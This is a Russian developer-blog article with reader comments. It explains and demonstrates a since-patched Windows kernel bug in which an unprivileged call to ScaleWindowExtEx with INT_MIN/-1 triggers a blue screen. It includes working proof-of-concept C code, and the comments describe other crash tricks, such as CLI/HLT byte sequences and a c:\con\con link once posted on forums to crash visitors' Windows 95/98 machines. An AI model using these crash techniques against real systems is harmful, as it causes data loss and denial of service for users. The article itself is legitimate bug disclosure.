Пользователь
0,0
рейтинг
13 мая 2013 в 22:58

Разработка → Как уронить Windows шестью строчками кода из песочницы

См. также: Microsoft исправила уязвимость с синим экраном

Однажды один знакомый рассказал мне про одну уязвимость в Windows. А именно из-за нее можно легко вызвать синий экран смерти шестью строчками кода на Си. Причем программа не требует никаких прав администратора и вызывает только одну функцию масштабирования окна.




Немного теории

В случае недопустимой инструкции процессор бросает исключение, а ОС уже сама решает, что с этим делать. Если это ошибка в программе и она никак не обрабатывается, то система выдает всем известное сообщение о том, что прекращена работа программы.

Например, в этом коде деление на ноль — недопустимая инструкция.
#include <stdio.h>

int main()
{
    int a = 2 / 0;
    printf ("%d", a);
    return 0;
}

Если скомпилировать этот код без оптимизации, то мы увидим то самое окно о прекращении работы программы (конечно, компилятор выдаст warning).

Если же выполняется недопустимая инструкция в ядре системы, то все немного интереснее: мы увидим синий экран.

INT_MIN / -1

Есть еще одна исключительная инструкция — деление INT_MIN на -1.
Дело в том, что INT_MIN=−2,147,483,648=-231, а INT_MAX=2,147,483,647=231-1. Довольно очевидно, почему они отличаются на единицу: невозможно в int запихнуть ноль, множество положительных чисел и множество отрицательных чисел так, чтобы количество положительных и отрицательных чисел было равно.
Получается, при делении INT_MIN на -1 результат не умещается в int и процессор бросает исключение.

Следующий код, скомпилированный без оптимизации, вызывает исключительную инструкцию:
#include <stdio.h>
#include <limits.h>

int main()
{
    int a = INT_MIN;
    int b = -1;
    int c = a / b;
    printf ("%d", c);
    return 0;
}


Ядро Windows

В ядре Windows принято не использовать переменные с плавающей точкой. Прямо вообще-вообще не использовать. Поэтому когда приходится работать с чем-то нецелым, используют две целочисленные переменные: числитель и знаменатель.
Также для увеличения производительности некоторые WinAPI функции, вызываемые программой, выполняются в ядре системы. Пример такой функции — ScaleWindowExtEx. Она ничего особенного не делает — функция масштабирует окно.
Прототип функции:
BOOL ScaleWindowExtEx(
  _In_   HDC hdc,
  _In_   int Xnum,
  _In_   int Xdenom,
  _In_   int Ynum,
  _In_   int Ydenom,
  _Out_  LPSIZE lpSize
);


Сама программа

Отлично, это то, что нам нужно. Второй и третий параметры, четвертый и пятый параметры — это как раз числитель и знаменатель.
Xnum / Xdenom — масштабирование по x.
Ynum / Ydenom — масштабирование по y.
Но функция не всегда делит одно число на другое. Функция будет делить одно число на другое в случае, если разметка контекста рисования (device context) располагается справа налево. В противном случае она, видимо, будет перед делением как-то менять эти числа. Чтобы поменять разметку контекста, есть функция SetLayout.
Значит, создаем контекст рисования вызовом CreateCompatibleDC (NULL). Устанавливаем разметку контекста с помощью SetLayout. После чего вызываем функцию ScaleWindowExtEx с нужными параметрами.
Конечно, программисты Майкрософт не полные дебилы проверяют деление на ноль, и передачей третьим параметром числа ноль Windows не уронишь.
Но вот деление INT_MIN на -1 они не проверяют. Из-за чего происходит необработанное исключение в ядре системе, что приводит к синему экрану.
Такой код программы при добавлении библиотеки gdi32.lib уронит Windows:
#include <windows.h>
#include <limits.h>

int main()
{
	HDC dc = CreateCompatibleDC (NULL);
	SetLayout (dc, LAYOUT_RTL);
	ScaleWindowExtEx (dc, INT_MIN, -1, 1, 1, NULL);
}

Его можно подсократить до шести строчек для добавления пафосного заголовка:
#include <windows.h>
int main() {
	HDC dc = CreateCompatibleDC (NULL);
	SetLayout (dc, LAYOUT_RTL);
	ScaleWindowExtEx (dc, -2147483647 - 1, -1, 1, 1, NULL);
}

Тут INT_MIN заменен на -2147483648, чтобы не добавлять лишнюю строчку, подключая файл limits.h. Конечно, можно код сократить до двух строчек, но тогда он уже будет совсем нечитабелен. Да и все функции на Си всегда можно сократить в одну очень-очень длинную строчку.

Система падает на Windows Vista, 7 и 8. Баг наблюдался как на 32-разрядной системе, так и на 64-разрядной (хотя на 64-разрядной не всегда этот баг наблюдается).

P.S. Раньше с помощью такой недопустимой инструкции можно было убить bash, но сейчас это исправили.

UPDATE1: Изменил ((int) 0x8000/0x80000000) на (-2147483647 — 1), теперь должно работать. Спасибо, AndreyDmitriev и alper.
UPDATE2: Microsoft исправила эту уязвимость.
UPDATE3: Ссылка на статью «первооткрывателя»: blog.cmpxchg8b.com/2013/02/the-other-integer-overflow.html.
Женя Никитенко @Jeka8
карма
36,7
рейтинг 0,0
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Спецпроект

Самое читаемое Разработка

Комментарии (256)

  • +98
    Эх молодежь… А еще лет 15 назад всего то две команды ассемблера нужны были:
    1) запретить все прерывания
    2) уйти в режим ожидания прерывания
    Конечно не синий экран, но только хардрезет помогал вернуться в систему.
    • +80
      В 95 надо было в блокноте написать «ъль», переименовать в com и запустить. «ъ» — запрет прерываний, а «ль» — вроде, прыжок на предыдущую инструкцию. Хотя за давностью лет, могу и напутать.
      • +4
        Ага, именно так — прыжок на предыдущую инструкцию для бесконечного цикла.
        Интересно то, что если процессор Intel и под OS/2, то эту задачу можно было убить без перезагрузки в силу особенности многозадачности этой ОС на процессорах Intel. Эта особенность иногда использовалась для холиваров Intel-AMD в своё время.
        • +1
          а cli / hlt чем хуже был? :)
          • 0
            Не помню подробности. Вроде DOS вис, а Windows не вис. На бесконечном цикле Windows точно вис.
            За давним временем могу, конечно, путать по поводу cli,hlt.
            • 0
              До SMP команды cli / hlt гарантированно останавливали любой проц (до появления первого прерывания, которые отключены)
              • +3
                cli не отключает немаскируемые прерывания
          • –2
            не так. CLI / STI.
            • 0
              STI это установка флага разрешения прерываний. А автор имел в виду выключить прерывания и сделать останов процессора.
              • 0
                я понял, но процитирую то, что осталось из OS/2 Warp 3 до определенного FixPack:

                Для работы с прерываниями используются команды микропроцессора:
                Sti — set interrupt (I=1, разрешить прерывание)
                Cli — clear interrupt (I=0, запретить прерывание)

                Если за командой CLI не следует STI, то машина “зависает”, так как клавиатура не реагирует на нажатие клавиш. Для программирования прерываний используется IMR — регистр маски прерываний.
      • +3
        Насколько я помню, этими «тремя заветными байтами» были FA EB FE, т.е. третьим символом должно быть «ю».
        • –1
          Вроде бы FE EF BA
          • –1
            FA EB FD
            cli; jmp $-2
            • 0
              Сколько вариантов :)
            • +2
              Это как у вас -2 превратился в FD?
              • –2
                синтаксис tasm. или nasm. уже не помню.

                The first byte of a SHORT Jump is always EB and the second is a relative offset from 00h to 7Fh for Forward jumps, and from 80h to FFh for Reverse (or Backward) jumps.
                • +4
                  Это не отменяет того факта, что -2 = FE
            • +1
              тогда уж jmp $
              "$ evaluates to the assembly position at the beginning of the line containing the expression"
      • –6
        Ух! Интересно! А можно сейчас в блокноте чтонибудь написать, переименовать в ехе и запустить?)
        Или мп3 пару мелодий написать))
    • +85
      Эх молодежь… А еще лет 65 назад всего то один мотылек нужен был:
      1) берем мотылька
      2) помещаем в реле
      Конечно не синий экран смерти, но только ругательства инженеров и переборка половины машины помогали вернуться в систему.
      https://ru.wikipedia.org/wiki/Баг
      • +35
        всего то один мотылек
        • –13
          Настоящие программисты пишут
          c:\>copy con program.exe
          
          • +16
            Это неправославный аналог cat.
            • –7
              вроде, cat так не умеет
              • –3
                Умеет, достаточно сделать cat без параметров.
                Чтобы выйти нажать Ctrl-C
                • +12
                  Ctrl-D же, чтоб конец файла послать.
                • +3
                  а, и правда. век живи — век учись.
                  • +2
                    Обычно рекомендуют такую конструкцию:
                    $ cat <<EOF > filename
                    > line 1
                    > line 2
                    > EOF
                    

                    ("> " ставится автоматически)
                    Можно скопипастить (без "> ") и не требуется магических комбинаций клавиш.
                    • 0
                      Лучше в примерах сразу писать без >, чем объяснять, что его там нет. А то PS2 может быть разным.

                      cat << EOF интересен не тем, что не нужны «магические» комбинации клавиш (кстати, stty eof $new позволит вам поменять <C-d> на что‐то другое). А тем, что, во‐первых, может быть использован в скриптах (<C-d> нельзя), во‐вторых, использует zle/readline/libedit/…, позволяя вносить правки в текущую строку, и, в‐третьих, полностью сохраняются в истории (т.е. можно вносить правки после запуска команды, хотя работа с многострочным вводом в оболочках не слишком удобна, да и именно код после << EOF сохраняют не все).
          • +3
            и не помнят, как оттуда выйти :)
            • 0
              F6 же
        • +5
          Сборка emacs под Debian умеет M-x butterfly с 2009.

          Источник: multithread.org/?q=node/108
      • +2
        Ну, надо сказать, что сейчас этот способ все еще работает :)
    • +39
      Сейчас сюда придет товарищ с ником, состоящим из двух этих команд.
      • +71
        тадам!
        • +38
          Та-да-да-дам!
          • +4
            как у вас хорошо получилось :)
    • +1
      А в наше время писалось что-то типа while (true) { fork(); }
      • –3
        Приводить данный код без метода «fork();» Не имеет смысла.
        Или у вас там только чистая нагрузка на цп?
        Да и вообще в статье не об этом.
        Завтра, кстати, попробую, расскажу о результатах с мингв.
        • 0
          • +1
            Понял. Спасибо.
            Кстати на mingw скомпилировалось и наура, но возникла маленькая проблема.
            Если у вас компилятор ругается на SetLayout. Вот в этом месте (wingdi.h) тот самый прототип.
            #if (WINVER >= 0x0500)
            WINGDIAPI DWORD WINAPI GetLayout(HDC);
            WINGDIAPI DWORD WINAPI SetLayout(HDC, DWORD);
            #endif
            

            Скорее всего WINVER = 0x0400.
            Чтобы исправить достаточно добавить «7 строку» с этим прототипом.
            #include <windows.h>
            WINGDIAPI DWORD WINAPI SetLayout(HDC, DWORD);
            
            int main()
            {
            //////
            
    • +1
      F0 0F C7 C8 CD 20
      • 0
        Только для Intel Pentium MMX и int 20h уже не нужен.
        • 0
          Ну так это как раз для всех остальных.
          • 0
            А, сообразил: чтоб на других процессорах нормально завершилась программка.
  • +30
    <a href="file://c:\con\con">Супер ссылка</a>
    Вышибало 95\98. Люди удивлялись, ругались, перезагружались и жали на «Супер ссылку» заново.
    • +2
      А ещё можно было на сайте разместить ссылку на картинку с таким адресом. Тогда вышибало при входе на этот сайт.
      • +9
        Ага, такое можно было запостить и на форумы (в Ikonboard 2.x прокатывало). Помню, все жаловались, почему форум перезагружает им винду, а у админа была Win2k и он не мог понять, чего от него хотят.
        • 0
          cd con\con так же действовал.
    • +4


      А вот у людей есть такие папки
      • +2
        А их никто и не запрещает их создавать. Если не даёт система, то есть и другие способы. Можно, например, зайти на компьютер с Windows через samba-клиента на Linux и создать там папку с точкой в конце имени. Потом сколько не изголяйся на Windows, удалить эту папку никоим образом не получится, кроме как снова зайти из Linux и удалить.
        • +2
          CreateFile с FILE_FLAG_POSIX_SEMANTICS и FILE_FLAG_DELETE_ON_CLOSE не поможет?
          • 0
            Я некоторое время назад перестал пользоваться Windows постоянно. Интересно было бы почитать о тонкостях этой системы, ибо с ней постоянно сталкиваешься. Можете дать ссылки по теме? Или сами написать подробнее.
            • 0
              Я обычно читаю вот тут: http://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx
              Про FILE_FLAG_DELETE_ON_CLOSE я прочитал тут: http://msdn.microsoft.com/en-us/library/windows/desktop/aa363915(v=vs.85).aspx
              • –2
                Особенности Советского образования заставили меня учить немецкий в школе. В результате я хреново ориентируюсь в английском и совершенно не знаю немецкого. Буду благодарен, если напишете статью. Думаю и другие на хабре будут не против. Тем более в особенностях Windows очень много скрытых вещей.
                • +1
                  Совесткого? Вы 90го года, в это время у всех был выбор, если не языка. то школы точно. Да и никто не мешает учить язык самому. Я сам учил, в школе не научили.
                  • 0
                    Я учился в глубинке России, где и сейчас живу. В наше время сказали только немецкий, так и учил немецкий. Годом позже появился английский. Но увы, я мог учить только свой. В результате учил по книгам английский. Он был нужен просто самому. Всё ПО, что у меня тогда было, было на английском.
                    • 0
                      Хм, нет, у меня глюки. странно, прошу прощения. Посмотрел по кэшу гугла.
                      • 0
                        Всегда был 80-го. Сейчас проверил. Я дату рождения всегда рандомно ставлю… но не год.
            • +1
              Книгу «Windows Internals» Марка Руссиновича и других.
        • +1
          Никаких проблем с Windows:
          mkdir \\?\c:\temp\con
          rmdir \\?\c:\temp\con
          • +1
            Вы в Windows 95/98 пробовали? Багу с con они только подвержены.
            • +1
              Это же не баг, а просто наследие доса в виде его служебных слов.
        • 0
          До некоторого времени, если я не ошибаюсь, ntfs драйвер под линуху позволял писать в имена файлов все то, что можно писать и в ext разделах, тоесть всякие служебные символы, типа ?*/\. При попытке открыть/удалить/переименовать это в винде у нее клинило моск. Сделать что-то с таким файлом, помещенным в корень диска, средствами проводника и консоли было не возможно.
      • +3
        русская «с» или «о»?
        • 0
          ууу… я так в далеком 90-м году великого программиста «хакнул». Переименовал в его любимой foxbase.exe иксы на русскую ХА. Долго он мучился в Norton Commander, пока не сообразил запустить DIR и изучить названия файлов. А прежде ему пришлось час потратить на изучение настроек DOS и конфигурацию NC.
        • +3
          Старый прикол. Шесть command.com под DOSом :)
    • 0
      Тогда vbscript из браузера умел тупо выполнять что угодно через shell.
  • +49
    Это в виндовс 8 такое няшное окно смерти?
    • 0
      да
    • 0
      Да, только без градиента
    • +22
      Самое удивительное, что его ни разу не видел, хотя сижу с релиза.
      Вот и посмотрел на скриншоте.
      • 0
        Я на него вдоволь насмотрелся, пытаясь установить на ноутбук HP dv6 драйвера на видеокарту ATI Radeon HD6550M. В конечном счете плюнул и пользуюсь интегрированной графикой Intel.

        Совершенно непонятно, почему ни AMD, ни MS, ни HP эта распространенная проблема не беспокоит.
        • +1
          Это не баг — это фитча.
          Ну а если серьезно — Я помню то время когда спецы из M$ говорили — «перенос функций оконного интерфейса не будет влиять на безопасность»
        • +1
          Пробовали вот это?
          У меня AMD 6650M + Intel HD3000. Отлично все работает, еще с RC.

          +На сайте HP была KBшка ещё, которую тоже желательно поставить (если я не ошибаюсь). К сожалению, не помню номер.
      • 0
        А я вижу его почти каждый раз, когда работаю с GNS3. При остановке эмуляции — краш.
      • 0
        Давненько на W8 DP пытался firewall поставить, каждая установка кончалась рожицей, приятного мало.
        • +1
          > 14 мая 2013
          > W8 DP
      • –3
        стабильно раз в пару месяцев сам по себе падает уже с пол года.
        • +1
          Гляньте железо. Конденсаторы на мамке или оперативку. Если железо совсем старое, например HARD IDE, тогда бывали «удачные» проблемы в самом шлейфе.
          • 0
            Да я в курсе всего этого, железо — новый ноут, не дешевый. Может с ним конечно беда и есть какая-то но так нареканий не вызывает, я изначально на драйвера грешил т.к. больше всего проблем с wifi, ноут вечно ложу спать и так через пару недель-месяц приходиться удалять и искать в диспетчере задач карту т.к. её впритык не видит (когда лень перезагружаться). В конечном счёте меня это особо не напрягает, жить можно но осадочек остаётся.
        • 0
          Danov всё верно говорит. Ещё бывает полезно «пересобрать» — снять озу, платы расширения, шлейфы отключить, а потом всё назад собрать. М.б. ещё паста на процессоре высохла. В общем стабильные бсоды это почти всегда железо, иногда бывают случаи очень кривых драйверов, но они редки.
      • 0
        У меня при выходе из гибернации падает раз в несколько недель. Два раза просто так падала.
        • 0
          Анализируйте дампы, смотрите в каком файле падает. Падение при выходе из гибернации с большей вероятностью кривость дров, или их несовместимость с железом. Ну т.е. как вариант может быть ещё проблема с биосом мамки, видяхи, или ещё какой железки.
        • 0
          Было такое, на ХР все работало, а на 7ке иногда падало при выходе из гибернации, очень бесило. Решилось заменой ОЗУ.
    • +1
      Похоже. Кстати странное название для ошибки S*_V*_S*
      В windows 7 просто service что-то Exception.
  • +1
    > Есть еще одна исключительная инструкция — деление INT_MIN на -1.

    И в то же время INT_MIN+INT_MIN вернет 0 и это никого не парит. Где логика, где разум?
    • +5
      Казалось бы, с логикой всё в порядке.
      INT_MAX = 2^31 — 1
      -INT_MAX = -2^31 + 1
      INT_MIN = -2^31 = -INT_MAX — 1

      Значит INT_MIN + INT_MIN = INT_MIN — INT_MAX — 1
      Заметим, что INT_MIN — 1 = INT_MAX из-за переполнения.
      Тогда INT_MIN + INT_MIN = INT_MAX — INT_MAX = 0
      Что и требовалось доказать.

      Поправьте, если я ошибаюсь.
      • +2
        Совершенно верно, в рамках того «как принято» именно так и есть. Но вот чем это принципиально отличается от INT_MIN/-1…
        • 0
          Тем, что есть инструкции знаковых и беззнаковых умножений-делений, а сложение только для беззнаковых (потому что специально такая форма записи отрицательных чисел была выбрана, чтобы можно было обойтись 1 инструкцией).
        • 0
          Тем, что вы получаете число, превышающее максимально допустимое (а не 0).
        • 0
          С помощью INT_MIN/-1 ничего полезного не получить, а сигнализировать желательно. А со сложением/вычитанием можно реализовывать точность больше разрядности процессора/регистров.
    • +17
      INT_MIN+INT_MIN вернет 0 и установит флаги переноса и переполнения. А логика в том, что эта операция является совершенно корректной в кольце вычетов по модулю 2^32.
    • +6
      Это особенности x86, сложение/вычитание/умножение никогда сами не возбуждают исключения из-за переполнения, а вот деление — да.
    • +3
      INT_MIN+INT_MIN — это undefined behaviour.
      • –1
        Интересно, почему заминусовали? Это из-за того, что разговор о винде, а значит x86 и msvc?
        • –1
          Нет, потому что INT_MIN+INT_MIN — это совершенно корректная операция, подробнее писали выше habrahabr.ru/post/179543/#comment_6233471
          • НЛО прилетело и опубликовало эту надпись здесь
          • +1
            Переполнение знаковых целых в С является UB. Вот вам пример когда это проявляется.
            • 0
              Да, переполнение знаковых — UB, но INT_MIN — вполне конкретное число, а не любое знаковое.
              • 0
                … точно также и с другими специальными константами из limits. В физическом мире -∞ и +∞ числа далеко не конкретные, а лишь обозначающие некий диапазон. Однако в железках, в виду ограничения, вызванного реализацией (разрядностью) эти числа вполне конкретные.
                • 0
                  p.s: Да и платформа вполне конкретная — x86, а самодеятельность компилятора отключена вместе с оптимизацией.
              • –1
                Если переполнение любых знаковых чисел — UB, то и переполнение конкретных знаковых чисел вроде INT_MIN — UB. Компилятор, в частности, имеет право удалить все что следует за INT_MIN+INT_MIN;.
        • 0
          Наверное, потому что 0x80000000 + 0x80000000 всё же вполне себе «defined» behavior.
          • +3
            Это вызывает знаковое переполнение, поэтому на С++ это, конечно же, undefined behavior.
        • +4
          Наверное, потому что разговор по сути идет о командах процессора, а не о языке С
  • +2
    Windows Server с Terminal Services падает, не проверяли?
    • +1
      Не проверял, но интересно узнать результат.
      • 0
        Так попробуйте (только осторожно): BlueScreen
        Я это с VS2012 скомпилировал, рантайм вот здесь, если что.
        Win7 Home Premium x64 падает как при запуске 32-х, так и 64-х битного приложения.
        • +57
          wine — падает с ошибкой деления на ноль. Обидно, такую фичу не портировали)))
        • –3
          Установка библиотек потребует прав администратора, так что уронить сервер терминалов будет сложновато. ;)
          • +4
            Что мешает собрать без CRT вообще? Выставить точку входа в WinMain и получить 10-килобайтный бинарник, зависящий лишь от kernel32 и gdi32.
          • +5
            Библиотеку, согласно не такой древней традиции, можно положить в каталог с программой.
        • 0
          Забавно. Проверил вашу сборку. Собрал сам и с VS2012 и с MinGW — система не падает. Неужели исправили?
          Win 8 Pro with Media Center x64
        • +1
          проверил — работает отлично. только из перезагрузки. заявленный функционал присутствует в полной мере. багов нет ;)

          win7 x64 (без апдейтов), bsod сразу после запуска ;)
        • 0
          Скомпилировал в VS2008 в 32bit, можно здесь взять. Для этого экзешника специальный рантайм вряд ли потребуется.

          Под WinXP 32bit молча перезагрузилось без синего экрана. В эвентлоге такое:
          System Error Error code 0000007f Parameters 00000000, 00000000, 00000000, 00000000
          • 0
            Да, зависимостей не должно быть — скомпилировал со статическим рантаймом. Можно хоть на голой XP пробовать. Интересно, может, у кого-нибудь Win2k завалялось?

            Кстати, кажется, при этой ошибке не сбрасываются дисковые кэши. Будьте осторожнее при испытаниях, возможна потеря данных.
        • 0
          win8 pro x64 — не падает ни 32, ни 64.
  • +88
    Функция ресайза окна в ядре. Это прекрасно.
    • +122
      Не, ну а куда его ещё с таким названием ОС?
    • +2
      В своё время Марк Руссинович говорил, что ничего плохого в этом нет. И это было по-моему даже до его работы в MS.
      • 0
        Кстати таки да — даже весьма серьезные исследователи допускают такие ляпы.
        P.S. эх — хорошо что хоть в QNX такого нету, если что упало — то не страшно, пускай лежит дальше, а система продолжит работу :)
        • +14
          QNX за это заплатил немалую цену. Но устойчивость системы впечатляет, я так и не смог крашнуть ядро, хотя я очень, очень старался.
    • –11
      Подобные аспекты работы WIndows заставляют меня вспомнить старую «добрую» одноименную передачу с Дмитрием Нагиевым :)
    • 0
      Думается эта функция столь древняя, что осталась ещё со времён прямо работы с памятью видеокарты.
      • 0
        * со времён прямой работы с памятью видеокарты.
      • +1
        Страшное слово Legacy. WinAPI — священная корова, его нельзя ломать без риска сломать некоторые приложения. Sun как-то умудрялся схранять legacy без серьезных проблем, а вот у МС с этим проблемы
  • +1
    D:\down>cl w.c /link gdi32.lib
    Microsoft (R) C/C++ Optimizing Compiler Version 17.00.60315.1 for x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    w.c
    Microsoft (R) Incremental Linker Version 11.00.60315.1
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /out:w.exe
    gdi32.lib
    w.obj
    
    D:\down>w
    


    Windows 7 x64, не падает
    • +2
      У меня вот так не падает:
      ScaleWindowExtEx (dc, ((int) 0x8000/0x80000000), -1, 1, 1, NULL);

      А вот так падает:
      ScaleWindowExtEx (dc, INT_MIN, -1, 1, 1, NULL);

      Скорее всего компилятор что-то себе наоптимизировал, но разбираться, право, лень.

      Проект в комментах выше.
      • 0
        потверждаю, хотя и приходиться писать после BSOD-a :)
        • +10
          • +4
            Ох и битва оценок у моего комментария. :)
      • +1
        На Windows8 x64 и с ScaleWindowExtEx (dc, INT_MIN, -1, 1, 1, NULL); не падает.
        Выдает в консоль сообщение «ScaleWindowExtEx() failed»
      • +2
        А впрочем ScaleWindowExtEx (dc, ((int) 0x8000/0x80000000), -1, 1, 1, NULL) и не должна падать, ведь (int) 0x8000/0x80000000 — это ж нуль просто. Вижу, автор в статье уже поправил.
    • –1
      Windows 8 x64 не падает, расходимся
  • –4
    А я знаю, как уронить Windows 8 x64 и не имея другой винды хрен подымешь:
    нужно просто установить в систему неподписанный драйвер (любой) и всё!
    1) При загрузке винда падает в синий экрна по причине наличия неподписанного драйвера
    2) Варинта «Загрузить последнею удачную загрузку» (или как он там звучит) в восьмерки отсутствует
    3) из под линухи удалить драйвер не получается — отказывается монтировать «коцанный» NTFS раздел, то есть нужно винда, чтобы chkdks проверить раздел и только потом удалять файл драйвера.

    Это я выяснял, пока экспериментировал с установкой Астер v7 — зарепенился уже, даже включение тестового режима (перед установкой, естественно) не помогает.
    И каждый раз приходиться подрубать диск через USB к ноуту. Иначе никак.

    Совет вирусописателям — поставил драйвер, файл которого хрен сотрешь и гуляй
    • +1
      есть же ntfsfix в линуксе
      • 0
        zuz@zuz-desktop:~$ sudo ntfsfix /dev/sda3
        Mounting volume… Windows is hibernated, refused to mount.
        FAILED
        Attempting to correct errors…
        Processing $MFT and $MFTMirr…
        Reading $MFT… OK
        Reading $MFTMirr… OK
        Comparing $MFTMirr to $MFT… OK
        Processing of $MFT and $MFTMirr completed successfully.
        Setting required flags on partition… OK
        Going to empty the journal ($LogFile)… OK
        Windows is hibernated, refused to mount.
        Remount failed: Operation not permitted
        • 0
          Восьмерка же не на ntfs, а на некой refs, которая не совсем с ней совместима.
          • +1
            Хм, а почему же оно спокойно проверяется из-под Windows XP?
            Да и какая разница, на чем она — результат-то один и тот же — не имея другой копии любой винды данную проблему не починить.
            • –3
              Не имея другой копии винды даже установить винду проблематично.
          • 0
            Нет.
            • –1
              Ну вот раздел с ntfs старый монтируется, а раздел с восьмеркой никак вообще, хотя он точно чистый и работа завершалась штатным образом. Что-то там в файлухе явно изменили.
              • +3
                Во всяком случае ReFS это другая файловая система, доступна она только на серверной Windows и не для загрузочных дисков. В NTFS в связи с выходом Win8, насколько я знаю, ничего не менялось.
              • 0
                У меня монтируется либо после проверки chkdsk после этих экранов смерти, и до этого при отправке компьютера из Win 8 в «Перезагрузка»
        • +5
          Для таких случаев ключик «force» у mount предусмотрен.
          • +1
            zuz@zuz-desktop:~$ sudo mount /dev/sda3 /mnt -o force
            Windows is hibernated, refused to mount.
            Failed to mount '/dev/sda3': Операция не позволена
            The NTFS partition is in an unsafe state. Please resume and shutdown
            Windows fully (no hibernation or fast restarting), or mount the volume
            read-only with the 'ro' mount option.
            • +1
              Судя по выводу, винда в сон ушла (вопрос — как и когда? во время bsod?), поэтому и редактировать раздел не рекомендуется. Гугл в первой же позиции выдал "-o remove_hiberfile".
              Да будет вам счастье.
              • +1
                Насколько понимаю, восьмерка для ускорения загрузки использует механизм гибернации.
              • 0
                Спасибо большое за сей параметр — он помог.
                По поводу хибернейта — точно так же ругается mount на раздел, если выходя из винды восьмой сделать Завершение работы, а не Перезагрузиться (т.е. Завершение работы — это как раз и есть завершение всех программ+уход в хибернейт)
                • 0
                  Ну нормальный способ выключить должен быть? Попробуйте alt зажать или win.
                  • 0
                    Не — это фишка восьмерки — при Завершении работы компьютер заметно быстрее загружается, чем после Перезагрузка.
                    • 0
                      Ну всё правильно, ибо выгружается только юзерспейс, а ядро уходит в спячку.
              • 0
                Дополню картину:
                моя восьмёрка иногда не выходит из спящего режима (из ждущего не вопрос) с выпадением в синий экран. Пара перезагрузок через ресет решает проблему и винда грузиться по холоду. НО! если вдруг она не загрузиться (ну мало ли что, ноут сдох), то всё!
                Смотрите:
                1) винда была в спящем и не проснулась/умер комп
                2) из под линухи подмонтировать нельзя даже с force и remove_hyberfile

                ~$ sudo mount -o remove_hyberfile,force /dev/sda3 /mnt/win7
                Windows is hibernated, refused to mount.
                Failed to mount '/dev/sda3': Операция не позволена
                The NTFS partition is in an unsafe state. Please resume and shutdown
                Windows fully (no hibernation or fast restarting), or mount the volume
                read-only with the 'ro' mount option.

                В описанном мною случае ранее винда не была в hybarnate, а перезагружалась.
                Меня еще добивает тот факт, что _все_ диски нельзя подмонтировать по причине хибернейта, если винда была в спячке.
        • 0
          странно, у меня проблема с монтированием была всего один раз — но пофиксил достаточно быстро именно из-под линукса.
          • 0
            Дайте угадаю — у вас была в тот момент не Windows 8?
            • 0
              да, она
      • 0
        Насколько я помню, ntfsfix просто ставит на фс флаг «нужна проверка», после чего венда при виде этого раздела во время загрузки запускает fsck.
    • +1
      Раз нельзя загружать непрописанный драйвер, то почему его можно устанавливать? Разработчиков по объявлению набирали?
  • 0
    А ещё была такая команда C:/con/con :-)
  • 0
    XP и ниже зависал, если установить текущему потоку REALTIME приоритет, и запустить while(1)
    • +22
      А вот это уже не бага, а фича!
    • +2
      А тут уже права администратора нужны.
    • +2
      А если многоядерная машина?)
      • 0
        А вот надо попробовать :)
      • 0
        Думаю, решение ненамного сложнее.
      • +1
        То N таких программ повешают комп столь же надежно (N = числу ядер).
    • 0
      А современные системы не зависают (с правами администратора если запустить)? Что изменилось?
      • +1
        UAC появился для любителей из-под админа работать. Между прочим, модель ничем не хуже sudo.
        • 0
          Это я в курсе.
          Просто NLab пишет «XP и ниже зависал», не до конца понятно, что имел ввиду «любая версия винды, если с правами администратора».
  • 0
    Windows 2008 R2 Standart x64 не падает.

    Да, в коде есть небольшая ошибка — в третьей снизу строке должно быть hdc вместо Device, иначе будет ошибка компиляции.
    • 0
      Спасибо, исправил.
      Я могу это объяснить только таким образом: для эмуляции 32-битных инструкций используется wow64, а его реализация различные для разных процессоров. Видимо в некоторых реализациях не бросается исключение.
      • +3
        Это вы лихо всё виртуалками обернули. В long-mode (amd64) 32-битные инструкции выполняются аппаратно.
  • +2
    Объясните, как
    ((int) 0x8000/0x80000000)
    
    связано с INT_MIN?
    Если считать руками, получается 0; если считать с помощью gcc, опять получается 0.
    • 0
      Исправил
      • +2
        Не используйте пожалуйста магические константы в коде, прошу вас. Даже в таком.
        p.s: лучше всего вообще уберите магию из поста, используйте limits он именно для этого придуман. Даже текущий код с магией не заработает на x64.
    • 0
      В статье теперь "-2147483648", вопрос снимается.
      • 0
        error C4146: unary minus operator applied to unsigned type, result still unsigned
  • +26
    Я уроню эту систему с пяти строк!
    • +1
      Ждем вашу статью на эту тему!
    • +1
      Ну, уранивайте.
  • +1
    Когда-то давным-давно win9x прекрасно вешалась com-файлом из 2х байт — CLI HLT (если мне не изменяет память, 0xFA 0xF4). Прогресс же!
    • 0
      А когда-то любой ммхатый пень вешался с четырёх байт F00FC7C8.
  • 0
    очевидно, в х64 нужно пробовать сделать 64битное переполнение, а не 32битное?
    ведь x86 функции там идут на обертки
    • 0
      Я не нашёл такой функции, которая принимает два 64-битных параметра и делит один на другой в ядре системы.
      • 0
        А та-же самая ScaleWindowExtEx в 64-битной gdi32.dll?
        • 0
          Такой, к сожалению, нету. Есть только функция, которая принимает 32-битные числа.
        • +2
          > в 64-битной gdi32.dll

          Это прекрасно )
          • +4
            Кстате да, я так и не понял почему в 64битной венде 64битные dll с именами *32 пошли в папку system32, а 32битные переехали в syswow64… бред же…
            • +1
              Мне тут рассказали что «WOW64 == Windows 32-bit on Windows 64-bit»
              • 0
                Это понятно. непонятно, нахрена «все» было обзывать с постфиксом "*32", если не с планами затем сделать аналогичное "*64"…
                • +1
                  тут как раз 32 не потому что потом будет 64, а потому что раньше было 16
                  • +1
                    Но ведь логично же продолжить ряд названий… или у меня какая-то другая логика?..
            • +1
              technet.microsoft.com/en-us/magazine/ff955767.aspx
              В мире оказалось слишком много программ с захардкоженным именем папки System32, и чтобы их не сломать, оказалось проще ввести перенаправление на уровне файловой системы. 32-битные приложения, обращаясь к system32, видят 32-битные версии, реально лежащие в syswow64, 64-битные, обращаясь туда же, видят 64-битные версии.
              • +2
                Мне кажется странным это обоснование.
                Если в 32битной программе жестко прописан путь к System32, то если в 64битной системе размещать новые 64битные библиотеки в System64, это ничего не сломает. 64битные программы сами по себе не берутся, их как минимум перекомпилируют производители, а следовательно они сразу найдут, где прописан неправильный путь.
                • 0
                  Проблема в том, что подобная ошибка выглядит не как окошко с сообщением «Прописан неправильный путь», а, например, как «Модуль, написанный уволившимся пять лет назад человеком, падает при инициализации» — причём расследование покажет, что падение происходит из-за некорректной обработки ошибки E_NOTFOUND, возвращаемой другим модулем, написанным шесть лет назад.
